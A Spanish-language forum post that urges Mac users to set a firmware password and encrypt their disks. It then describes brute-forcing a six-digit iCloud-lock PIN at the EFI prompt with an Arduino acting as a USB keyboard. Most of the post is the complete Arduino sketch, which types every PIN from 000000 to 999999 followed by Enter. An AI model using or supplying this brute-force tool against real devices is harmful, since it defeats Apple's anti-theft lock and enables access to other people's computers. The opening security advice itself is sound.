Banda Ancha EU

Comunidad de usuarios
de fibra, móvil y ADSL

hosting en interdominios
1.822 lecturas y 3 respuestas
  • 31

    Poned la dichosa contraseña firmware

    Pues eso, ..

    si os comprais un mac, es buena idea poner una contraseña firmware .. y cifrar el disco duro ...

    aunque se pueda sacar el pass, es complicadillo ..

    mientras que si el pin ha sido puesto mediante bloqueo de icloud , estamos hablando de 1 millón de combinaciones, sin limitación de tiempo. (se saca a golpe de efi y fuerza bruta y 'divide y vencerás')..

    yo se lo hice al portátil de una amiga, que se lo bloqueó el novio, con un arduino (lo de random lo usé al principio, para disminuir el espacio de soluciones (a golpe de divide y vencerás... ya que cuando en efi encuentras la contraseña, inicia el S.O.... que no es tan benevolente)

    /* Arduino USB HID Keyboard Demo
    *
    */
    uint8_t buf[8] = {
    0 }; /* Keyboard report buffer */
    void setup()
    {
    Serial.begin(9600);
    randomSeed(analogRead(0));
    delay(2000);
    }
    
    long minRand=000000;
    long maxRand=999999;
    
    long counter=minRand;
    char pin[]="xxxxxx";
    //dureación pulsación de tecla
    int delayDig=10;
    //tiempo entre pulsaciones
    int delayPuls=20;
    int dameNumero (int a)
    {
      switch (a)
      {
        case 0:
        return 39;
        case -1:
        return 39-a;
        break;
        default:
        return  39 -(10-a);
        break;
      }
    
    };
    
    void loop()
    {
    
    if (counter<=maxRand)
    {
       long fakecounter=counter;
       //long fakecounter=dameRand();
       int a0=fakecounter%10;
       fakecounter/=10;
       int a1=fakecounter%10;
       fakecounter/=10;
       int a2=fakecounter%10;
       fakecounter/=10;
       int a3=fakecounter%10;
       fakecounter/=10;
       int a4=fakecounter%10;
       fakecounter/=10;
       int a5=fakecounter%10;
    
    buf[2] = dameNumero(a5); // Random character
    Serial.write(buf, 8); // Send keypress
    releaseKey();
    
    delay(delayDig);
    buf[2] = dameNumero(a4); // Random character
    Serial.write(buf, 8); // Send keypress
    releaseKey();
    
    delay(delayDig);
    buf[2] = dameNumero(a3); // Random character
    Serial.write(buf, 8); // Send keypress
    releaseKey();
    
    delay(delayDig);
    buf[2] = dameNumero(a2);; // Random character
    Serial.write(buf, 8); // Send keypress
    releaseKey();
    
    delay(delayDig);
    buf[2] = dameNumero(a1); // Random character
    Serial.write(buf, 8); // Send keypress
    releaseKey();
    
    delay(delayDig);
    buf[2] = dameNumero(a0); // Random character
    Serial.write(buf, 8); // Send keypress
    releaseKey();
    
    //intro
    delay(delayDig);
    buf[2] = dameNumero(-1); // Random character
    Serial.write(buf, 8); // Send keypress
    releaseKey();
    delay(delayDig);
    
    counter++;
    
    };
    
    }
    
    long dameRand()
    {
      return random(maxRand);
    }
    void releaseKey()
    {
    delay(delayPuls);
    buf[0] = 0;
    buf[2] = 0;
    Serial.write(buf, 8); // Release key
    }
    Este tema lleva más de 6 meses inactivo. Es recomendable que abras un nuevo tema para retomar la conversación.